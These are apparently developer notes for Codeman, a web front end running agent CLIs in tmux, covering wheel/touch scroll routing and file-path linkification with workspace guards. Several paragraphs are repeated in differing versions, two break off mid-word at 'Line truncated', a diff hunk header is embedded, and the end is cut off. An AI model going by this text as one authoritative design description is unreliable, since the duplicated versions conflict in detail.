Codex 0.163.0 approval check in that isolated read-only/on-request session: the "Would you like to run the following command?" prompt remained on `1. Yes, proceed` after SGR wheel-up and wheel-down over both the transcript and approval option rows 36/37; the requested marker file was not created. The background transcript can scroll while the approval prompt remains fixed. Codeman does alert on this prompt: `src/web/screen-blocked.ts` reads Codex dialogs off the pane (`capabilities.workDetect.blockedLine`) and broadcasts `hook:permission_prompt`, which `_onHookPermissionPrompt` (settings-ui.js) records and `updateTabAlertFromHooks` (app.js) turns into the `'action'` tab alert, and both page-key fallbacks check it. The SGR wheel path deliberately does not consult that alert, because this measurement showed wheel reports leave the approval selection unchanged. Native Codex owns its approval selection; do not mistake a hook-only unit fixture for approval-dialog evidence.
Native wheel travel retains upstream pixel/line/page units (100 px = 4 lines; Firefox 3-line events = 3 lines); no one-tick-per-event policy is introduced here. A fresh native gesture at or above 0.1 row (2.5px) rounds its opening travel to at least one tick (subject to the per-event cap), so an isolated 4px mouse click responds, 40px sends two ticks and 120px sends five. The signed remainder is carried forward; travel discarded by the per-event cap does not become a backlog. The signed remainder is debt repaid by subsequent same-direction events: ten 2.5px events still total one tick. Debt/fractions expire after a 150ms gap; a reversal inside that gap discards the old debt without another pre-payment. Sub-threshold jitter does not pre-pay. The first native report of each tab visit bypasses the 40 ms batching timer; later reports coalesce and only unsent bytes can be cancelled on reversal. Every queued batch belongs to its originating session, so switching tabs cannot send its bytes into the newly selected pane. Zero-delta events leave pending movement untouched. Tiles use the same helpers and their own queue/session.
**Wheel/touch forwarding is NOT gated on viewport-at-bottom** (#205, `terminal-ui.js:_shouldForwardWheelToApp`): for sessions verified to scroll their own transcript on SGR wheel reports (Claude ≥ 2.1.187 or tracked Codex, with observed `cliMouseTracking`; see the native measurement above), the plain wheel AND touch drags forward as coalesced SGR reports (`_forwardScrollToApp` → `_sendSyntheticSgrWheel`, 40ms batches after the first native report, 5-tick per-event cap; no aggregate byte/tick limit). It used to gate on the viewport being at the bottom so both scrollbacks stayed reachable, but a repaint-mode CLI keeps NO terminal scrollback of its own — xterm's buffer holds only replayed repaint frames, so local scrolling drags the CLI's pinned prompt box up the screen over stale frames; and `scrollToLastNonEmptyLine()` routinely parked the viewport off-bottom, silently pinning the wheel to local. Forwarding now snaps the viewport home first (SGR coordinates address the LIVE screen — a report computed from a scrolled-up viewport would hit-test the wrong row). Local scrollback remains on Shift+wheel and the `terminalWheelLocalScrollback` opt-out (both also cover touch via the shared gate; touch has no Shift, so the setting is its only local pin). Touch asks `_shouldForwardTouchToApp()`, which is that gate plus one branch: in any session mode, a drag and its fling momentum also forward as SGR wheel reports while xterm itself tracks the mouse (`modes.mouseTrackingMode` other than `none`/`x10`) with SGR encoding (`_core.coreMouseService.activeEncoding === 'SGR'`, an xterm private pinned by `test/xterm-private-api.test.ts`; DEFAULT, X10 and SGR-pixel apps fail closed). xterm encodes a native wheel for such an app itself, but the touch listeners consume the drag, and a local scroll shows nothing useful: a direct-PTY app is on xterm's alternate screen, and in a tmux-backed session xterm stays in the normal buffer holding stale tmux repaints. `_wheelScrollLinesFloat()` normalizes `deltaMode` (Firefox fires LINE deltas ≈3/notch — read as pixels that rounded to 0 and fell to the ±1 fallback, ~4× too slow; PAGE deltas scale by `terminal.rows`) while keeping the #154 Shift-axis trap (macOS trackpads put Shift+scroll magnitude on deltaX). Tests: `test/terminal-touch-tap.test.ts`.
**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretched to one second (`PAGE_KEY_DEBT_MS`), or `PAGE_KEY_NOTCH_DEBT_MS` (3 s) for a notch-sized opener, while a pre-paid page is still owed in the SAME direction, so slow smalLine truncated
**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. ⚠️ Pi is an accepted exception: it declares no `transcriptPageKeys`, so a false gate on a fullscreen pi stays dead, for the reason in "Pi is the same shape" above. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretchedLine truncated
**Why the wheel went where it went is LOGGED** (`_logScrollRouting`): one console line per session per distinct decision — `[scroll] <id> → forward-sgr|page-keys|page-keys-dialog-open|page-keys-menu-open|local-scrollback|repull-refused-downgrade (mode=…, cliVersion=…, localScrollbackOptOut=…, mouseTracking=…, localScrollbackRows=…)`. #205 ran two rounds of remote guesswork over questions this line answers directly; keep it when touching the routing.
@@ -403,16 +423,22 @@ A file path an agent prints is a link on both surfaces it can appear on, and cli
**One pattern, two consumers.** `FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` live in `constants.js`; the xterm link provider (`registerFilePathLinkProvider`, terminal-ui.js) and the response viewer's `_linkifyFilePaths()` (app.js) both reach it through `findFilePathLinks()` (below), which builds a fresh instance per call. ⚠️ Fresh per call, never one shared object: `lastIndex` is per-object state on a `/g` regex. The pattern is anchored on a known absolute root and terminated by a known extension, so a fraction (`3/4`) or a date can't match and trailing punctuation stays out. Roots include `Users` and `mnt`, without which nothing was clickable on macOS or WSL. The linear-time guard and the "terminal-ui builds from the factory" structural check are in `test/link-provider-regex.test.ts`.
**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite.
**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. The anchors the walk builds carry `dir="ltr"`, so a path at the head of a right-to-left sentence does not decide that sentence's direction; a rewritten link keeps no `dir`, since its label is prose (#715). ⚠️ `_applyBlockDirection()` runs after the linkifier in both consumers, never before it: a block already carrying `dir="auto"` re-resolves its direction on every text node replaced under it. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite, `test/response-viewer-rtl.test.ts` the direction and the order.
**Out-of-workspace paths go through the attachment routes, not the file routes.** `file-content`/`file-raw` resolve against `workingDir` and 404 anything that escapes it, which is correct and unchanged — but the paths agents most often print (a `/tmp` capture, Claude's own scratchpad, another checkout) are exactly that, so clicking one used to report "File not found" for a file sitting on disk. `openFilePreview()` now detects the case (`_isExternalPreviewPath`, a string compare for ROUTING only; the real decision stays server-side) and registers the path via `POST /api/sessions/:id/attachments` first, rendering by id. ⚠️ That registration passes `notify: false`, which suppresses ONLY the `attachment:detected` broadcast — the guard, the registry entry and the by-id routes are identical either way. Without it every click also popped an attachment card announcing the file already filling the screen. ⚠️ The click is an explicit user action on the **explicit, Origin-guarded** registration route, which is why it may cross the workspace boundary at all; the passive magic-link scanner stays force-confined. A type outside `SUPPORTED_ATTACHMENT_EXTENSIONS` (`.svg`, `.bmp`) is refused with a message naming what IS previewable, rather than the registry's own policy term.
⚠️ **The terminal routes an out-of-workspace path to the preview, not the log viewer.** The log viewer spawns `tail -f` and allows only the workspace, `/var/log` and `~/logs`, so an external `.log`/`.json`/code path answered `Path must be within working directory or allowed log directories` while the SAME path clicked in the response viewer previewed fine. `activate()` now checks `_isExternalPreviewPath` alongside `previewsInFileViewer`. In-workspace text keeps the tail viewer, which is the point of it (live follow), except markdown (`.md`/`.markdown`, in `FILE_PREVIEW_EXTENSIONS` since the owner's 2026-10-13 decision, rendered as a document) and `.html`/`.htm` (`rendersAsPage()`, rendered as a page, see below), which always go to the preview; nothing widened `file-stream-manager`'s allowlist, so no `tail -f` is spawned on an arbitrary host path.
**Path forms beyond the rooted one.** `findFilePathLinks(text)` (constants.js) is the single entry point both consumers call; it reserves spaced candidates first (including unlinkable spans), then detects rooted matches, then `~/` and relative paths (`RELATIVE_FILE_PATH_LINK_PATTERN`, same extension list, pinned equal by `test/link-provider-regex.test.ts`), then folder paths, each only where it overlaps neither an earlier match nor an `http(s)` URL. A relative match must start at a boundary (line start, whitespace, quote, bracket, `=`, `,`, `>`), so it can never begin inside a word, an absolute path or a URL; brackets, `=` and `,` end it (`(shot.png)`, `OUT=shots/a.png`). `resolveLinkedFilePath()` resolves a relative path against the session's `workingDir` (`.`/`..` collapsed, so `../x.png` lands outside and routes like any external path) and passes absolute and `~/` paths through. ⚠️ `~` is the home of the SESSION'S host, which only the server knows: `~/` paths always take the attachment route, where `registerExternalAttachment` expands them (`homedir()` locally, `$HOME` inside the remote probe script), and the guard runs on the expanded, realpath-resolved path as before. ⚠️ Programs hard-wrap their own output short of the terminal edge (Claude Code breaks tool output at 59-118 columns), so xterm's `isWrapped` never fires. `terminalPathLine()` (link provider only; touch selection keeps `terminalLogicalLine`) joins the next row when the previous row ends in a path token with a `/` and no extension and the join reaches an extension; a row that starts a new path is never joined: rooted or `~/`, `./`/`../`, or a relative one that opens on the same top directory the broken token did (the next entry of `git ls-files`/`find`/`ls -R`: `src/components` + `src/index.ts` are two paths, not `src/componentssrc/index.ts`), while a wrapped path continues INSIDE a name, so `…/captures/2` + `026-10-10/…` still joins; a 3+ row chain is kept only if a later row completes the path, and the broken row must be at least as long as the continuing one (keeps `cd /mnt/foo` + a longer next line apart). Tests: `test/file-path-link-forms.test.ts`.
**Path forms beyond the rooted one.** `findFilePathLinks(text)` (constants.js) is the single entry point both consumers call; it reserves spaced candidates first (including unlinkable spans), then detects rooted matches, then `~/` and relative paths (`RELATIVE_FILE_PATH_LINK_PATTERN`, same extension list, pinned equal by `test/link-provider-regex.test.ts`), then folder paths, each only where it overlaps neither an earlier match nor an `http(s)` URL. A relative match must start at a boundary (line start, whitespace, quote, bracket, `=`, `,`, `>`), so it can never begin inside a word, an absolute path or a URL; brackets, `=` and `,` end it (`(shot.png)`, `OUT=shots/a.png`). `resolveLinkedFilePath()` resolves a relative path against a base (`.`/`..` collapsed, so `../x.png` lands outside and routes like any external path) and passes absolute and `~/` paths through. ⚠️ `~` is the home of the SESSION'S host, which only the server knows: `~/` paths always take the attachment route, where `registerExternalAttachment` expands them (`homedir()` locally, `$HOME` inside the remote probe script), and the guard runs on the expanded, realpath-resolved path as before. ⚠️ Programs hard-wrap their own output short of the terminal edge (Claude Code breaks tool output at 59-118 columns), so xterm's `isWrapped` never fires. `terminalPathLine()` (link provider only; touch selection keeps `terminalLogicalLine`) joins the next row when the previous row ends in a path token with a `/` and no extension and the join reaches an extension; a row that starts a new path is never joined: rooted or `~/`, `./`/`../`, or a relative one that opens on the same top directory the broken token did (the next entry of `git ls-files`/`find`/`ls -R`: `src/components` + `src/index.ts` are two paths, not `src/componentssrc/index.ts`), while a wrapped path continues INSIDE a name, so `…/captures/2` + `026-10-10/…` still joins; a 3+ row chain is kept only if a later row completes the path, and the broken row must be at least as long as the continuing one (keeps `cd /mnt/foo` + a longer next line apart). Tests: `test/file-path-link-forms.test.ts`.
**The relative base is the pane's directory.** The base is `relativeResolutionBase(session)`: the pane's live directory `SessionState.paneCwd` when known, else `workingDir`, which is fixed at create time and never follows a `cd`. `paneCwd` is `#{pane_current_path}` from the pane-exit watcher's existing batched `list-panes -a` read (`derivePaneCurrentPaths()`, single-pane sessions and absolute paths only; no new tmux call and no new SSE event: the server applies it on the `paneExitsUpdated` tick and broadcasts `session:updated` only on a change). tmux reports the cwd of the pane's FOREGROUND process-group leader, so a shell's `cd` moves it, while an agent CLI's tool subprocesses (Claude's Bash tool, codex's exec) do not: for those sessions it stays the CLI's own directory. ⚠️ `paneCwd` is a resolution BASE only, never a confinement root: `_isExternalPreviewPath`, `file-content`/`file-raw` and the log viewer's `tail -f` allowlist all still judge against `workingDir`, so a pane that `cd`s outside the workspace sends its relative links through the attachment routes like any other external path, and what can be opened is unchanged (an absolute path to the same file already opened). ⚠️ `Session.setPaneCwd()` uses the `paneExitApplies` scoping rule and fails closed the same way: a remote session's local pane runs the ssh client and a docker case's runs `docker exec`, so their pane directory is a host directory the agent was never in; direct-PTY and rediscovered sessions get none either, and the browser re-checks `remote`/`docker`. ⚠️ tmux reads the directory from `/proc/<pgrp>/cwd`, always the RESOLVED path, while `workingDir` keeps the spelling the case was created with (a symlinked `~/codeman-cases`, a case linked through a symlink, macOS `/tmp`), and `_isExternalPreviewPath` compares lexically, so `setPaneCwd()` writes a reading at or under the workspace's resolved path back in `workingDir`'s spelling. The resolution runs once per session in the background, bounded (`probePathKind()` first, then a `realpath()` raced against the same timeout, never on the watcher tick and never `realpathSync`); an `unknown` probe or a failed or slow `realpath()` leaves the reading untranslated and retries after `WORKSPACE_REALPATH_RETRY_MS`. Until it settles, only a reading lexically inside `workingDir` is taken, so the first tick cannot mis-route links. ⚠️ Never restored after a restart: written to `state.json` by `toState()` like the rest of the session state but never read back, and a directory change alone never persists. A failed or empty read keeps every last directory, and a blank `#{pane_current_path}` on a single-pane session keeps that session's (`derivePaneCurrentPaths()` carries it forward); an authoritative read that lists the session as split into several panes, or not at all, clears it, so a hand-split session falls back to `workingDir`. The server applies the manager's answer as given, `undefined` included, and `setPaneCwd()` reports a clear once. Trade-off: the base is the pane's directory at CLICK time, so a relative path printed before a `cd` resolves against the new directory. Tests: `test/pane-cwd-tracking.test.ts`.
Spaced paths are considered first by `findFilePathLinks()`: accepted candidates reserve their entire span even when unlinkable, so later detectors cannot link fragments. Relative and `~/` spaced paths require an explicit path label (`Path:`, `File:`, `Files:`, `Saved to:`, `Saved as:`, `Wrote:`, `Written to:`, `Output:`, `Created:`, `Location:`, `Attachment:`), optionally preceded by a marker. Generic labels and bare bullets defer to ordinary detection, including slash-containing prose such as `CI/CD` or `45/45`. A later `/`, `~/`, `./` or `../` word starts a separate path; an earlier word ending in `/` is a separate folder. Absolute paths keep the own-line and marker forms plus the same path labels; any other label (`Error:`, `Note:`, `Saved the report to:`) defers an absolute path too. A rooted candidate needs a directory before its first space, so `/review the changes in src/a.ts` is prose. An earlier word holding a known extension anywhere (`a.ts#L12 foo.ts`) ends the path at that word, a `:` followed by a digit inside an earlier word is a line suffix (`a.ts:42:See b.md`, grep and compiler output) and ends the path there, a run of spaces is a column gap rather than a name, and a leading run of `./` or `../` is not a segment (`Saved to: ../My Docs/plan.md` links whole; an interior `..` is still refused). An unlinkable candidate reserves its span only while its last word holds a `/`, so `/usr/bin/env node build.js` keeps its ordinary links while `/etc/secret files/passwords.txt` links nothing. A path label vouches that a path follows, not for the words before it: a relative candidate whose only `/` word is its last is prose after the label (`Wrote: 120 lines to src/foo.ts`, `Path: see src/foo.ts`) and defers to the ordinary detectors. The cost is a labelled relative path whose only space is in its top directory, `Saved to: My Docs/plan.md` (and `Saved to: 03 Attachments/plan.pptx`), which splits as on master; `03 Attachments/Build SIPOC Design/Build-SIPOC.pptx`, `notes/a b/c.md`, `~/`, `./` and `../` forms and absolute paths still link whole. An earlier word that is a lowercase connective or verb (`SPACED_PATH_PROSE_WORD`: `and`, `or`, `to`, `in`, `the`, `is`, `has`, `contains`, `then`, `as` and a few more) or a bare `=` makes the candidate a sentence, in every shape: `/home/me/proj contains a.md`, `- /tmp/out has the logs in run.log`, `Path: /home/me/proj/out contains a.md`, `Files: src/components and utils/x.ts`, `Wrote: 3 files to docs/design notes/overview.md`. The cost is a name that uses one of those words (`Pros and Cons.md`, `How to deploy.md`, `Documents and Settings`), which splits as on master; `at` (`Screenshot 2026-10-24 at 10.00.00.png`) and `of` (`Copy of report.docx`) are left out of the list on purpose. What remains ambiguous is an own-line absolute path followed by words that hold none of them (`/home/me/proj/out report.pdf` reads like `/home/me/docs/Read Me.txt`), which links as one path. A command line is refused too: a first word that is an executable under `bin/`, `.bin/`, `scripts/` or `tools/` (`/opt/homebrew/bin/node server.js`, `/home/me/proj/scripts/deploy prod.yml`) or any `-x`/`--x` flag word (`/home/me/proj/node_modules/.bin/tsc -p tsconfig.json`); a bare `-` (`Docs - Copy`, `OneDrive - Contoso`) is not a flag. So is a shell prompt that prints an absolute working directory (WSL's `/mnt/c/...` is outside `$HOME`, so every earlier command in a shell's scrollback has one): a first word ending in `$` (`/home/me/proj$ cat notes.md`) and any earlier word with no letter or digit other than a bare `-` (`/mnt/c/proj ❯ code notes.md`, `/home/me/proj $ cat notes.md`, `/home/me/proj/out ✓ report.pdf`) refuse the candidate, while `Program Files (x86)` and `Docs - Copy` still link whole. The response viewer carries any leading `<strong>` label in a paragraph or list item, or one starting a later line of a paragraph (after a `<br>`, since chat renders with `breaks: true`), into detection without changing the label or displayed text, and `spacedFilePathOnLine()` judges it as it judges the same line in the terminal (`**Note:** /home/me/proj/out report.pdf` splits). A text node that follows any other inline element starts mid-line, so a placeholder word stands in for what precedes it (``Use `--config` /home/me/proj/cfg data.json`` splits as in the terminal), while a path inside inline code still links whole; paths split across inline elements remain detected per text node. Tests feed vendored marked output into the jsdom linkifier, so consumed bullets and bold labels are covered. Trailing whitespace uses linear `trimEnd()` before the length cap.
Parentheses also bound an inline spaced path, such as `Updated (/mnt/c/My Docs/report.conf)`. The whole candidate is reserved before fragment detectors run; existing root, prose and traversal guards still apply. Inside parentheses only, a comma at the end of an earlier word marks a list, not one filename. Own-line, list-marker and labelled paths retain commas in filenames and directory names. ⚠️ `Bash(` is the one call shape left out (`opensBashCall()`, both here and for the hard-wrap alternative below): it holds a command, so `Bash(/tmp/a.out input.txt)` is a program and its argument and keeps master's links, while the path tools (`Read(`, `Update(`, `Write(`) link a spaced name whole.
Hard-wrapped filenames keep the existing concatenation without inserted spaces. A parenthesised final filename broken between words also carries a spaced alternative without changing its cell mapping. On activation only, the terminal checks the original path through the existing guarded attachment registration route (`notify: false`), tries the alternative only after HTTP 404, and retains the clicked session throughout. If both exist, the original wins. Every original result other than HTTP 404 goes to the normal opener, preserving workspace previews and log viewing even for extensions the attachment registry rejects; for an external path that opener retains the same attachment guards and errors. After an original 404, a spaced alternative opens only if it registers successfully; if it also returns 404, the original goes to the normal opener. Path labels, list markers and leading indentation inside parentheses are excluded from the alternative’s lookup key. Hover performs no lookup. Text alone cannot distinguish the two filenames, so this uses the filesystem result rather than a spacing guess.
The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLine()` for URL continuations in indented paragraphs and table cells. List markers, bare numbers and version tokens never continue a URL. A token with only hyphens, underscores or dots must end its cell (row end or a gap of at least two spaces), so prose such as `self-hosted runners` is not appended. A row end counts as a cell end, so `⏺ Docs live at https://example.com/guide/` followed by ` self-hosted` still links `.../guide/self-hosted`, and an indented `and/or the API reference covers it.` still links `.../guide/and/or`; both are pinned as known trade-offs. Such a token is still refused when it is code with a call paren (`client.get()`, `expect(x).toBe(y)`; a wiki title like `Mercury_(planet)` keeps its paren) or a word ending a sentence (`ready.`, `Done.`, `self-hosted.`; a file name keeps its period, so `install.html.` still joins). Whatever its punctuation, a token never continues a URL when it ends with a colon (a label such as `Failure/Error:` or `prometheus.io/scrape:`), when it is a measurement or clock time (`45%`, `45%|####`, `12.3MB/45.0MB`, `12.3ms`, `10:00:00`; percent-encoding such as `2026%20Plan` still joins), or when it is a `name=value` field (`API_KEY=...`, `level=info`) under a URL ending in `/`, since a query needs a `?` first (after `?`, `&` or `_` it is a query parameter and joins). A continuation must be indented (a column-0 row is new output, which keeps `status=200`, `24/7` and `really?` out), and a shell prompt (`user@host:`), a home path (`~/`), a whole email address or an HTTP status line never continues a URL. A URL in the last column of a space-aligned table never takes the next row's first cell: a continuation row must start inside the URL's own cell, so a gap of two or more spaces between its indent and where the URL starts on the row above means it is the next record. When other columns follow a wrapped URL on its first row (a codex table's path or date column), the URL is stitched without them, and they still link on that row: `terminalLinkLine()` scans them after the stitched rows as a segment of their own, mapped back to their cells. A URL in such a column is the row's last URL, and only the last URL on a row is continued, so that row is never stitched. A divider row never continues the row above it, so a URL that reaches the right edge does not absorb a full-width `────` row below. A real plain slug followed by prose falls back to the original fragment link; `%`, `&`, `=`, `/` or `?` still qualify as stronger URL punctuation. `terminalCellWrappedPaths()` follows each table cell independently: a fragment carries on into the next row only when it ends its cell on `/` or `-` (where a wrapper breaks a path; codex's cell wrap never breaks at `_`), the continuation row is blank to the left of the cell (a wrapper wraps every column of a table row together, so a label there such as `Entry` or `│ Log │` is the next record, unless a left column's path continued on that row too; a left column of wrapped prose, as in a `Description | Path` table, fills that row as well, so the path beside it keeps its per-row fragment links, the safe direction), the next row's token passes `pathContinuation()`, and the cell is no wider than the one above. So a directory that is a whole cell value (`/home/u/proj` over `config.yaml`, or `/home/u/proj/app/` over a labelled `main.py`) keeps its folder link and the next row keeps its own file link. With no label to tell them apart, a directory written with its trailing slash over a relative path in the same column (`/home/u/proj/src/` over `lib/util.ts`) still joins, a known trade-off: it reads exactly like a wrap at `/`. Accepted paths displace other links on their cells. Full-width divider rows stop `terminalLogicalLine()` stitching for both links and touch selection. OSC 8 links confirm the real target URI before the shared opener runs.
**Folder grid: a folder is granted, then served by bare file name.** A folder path (rooted or `~/` whose last segment has no extension, relative only with a trailing `/`; `FOLDER_PATH_LINK_PATTERN` + `folderLinkPath()`) opens `openFolderGrid()` (panels-ui.js), as does the preview's "Show folder" button. `POST /api/sessions/:id/folders {path}` (`src/folder-listing.ts`) resolves the folder (locally a bounded `probePathKind(…, { pastCap: true })` first, then async `fs.realpath`; remotely one ssh round trip via `remoteListFolder`, through `runWithRemoteSshLimit`), runs the attachment guard on it (blocklist, `confineToWorkspace`, and in multi-user mode `folderAllowedForUser`: a non-admin only inside their own `userSpacePath` or the session's `workingDir`, as the filesystem path picker), locally BEFORE reading it, lists non-hidden subfolders and files of a supported attachment type (each file also blocklist-checked, newest first, capped at `MAX_FOLDER_ENTRIES`), and GRANTS it an id. Files are then fetched as `GET …/folders/:folderId/files/:name/(raw|preview|thumbnail)`: `:name` must be a bare file name of a supported type (no `/`, `\`, NUL, no leading `.`, since the listing hides those), the local file is probed bounded (`unknown` → 503, never 404), and the joined path goes through the SAME `resolveServableAttachmentPath` as an attachment by id (symlink re-resolution, remote re-probe, guard), then the same gate registration applies to what a symlink RESOLVES to (a supported extension on the resolved path and a regular file: locally `fs.stat`, remotely the probe kind; else 400, so `shot.png -> 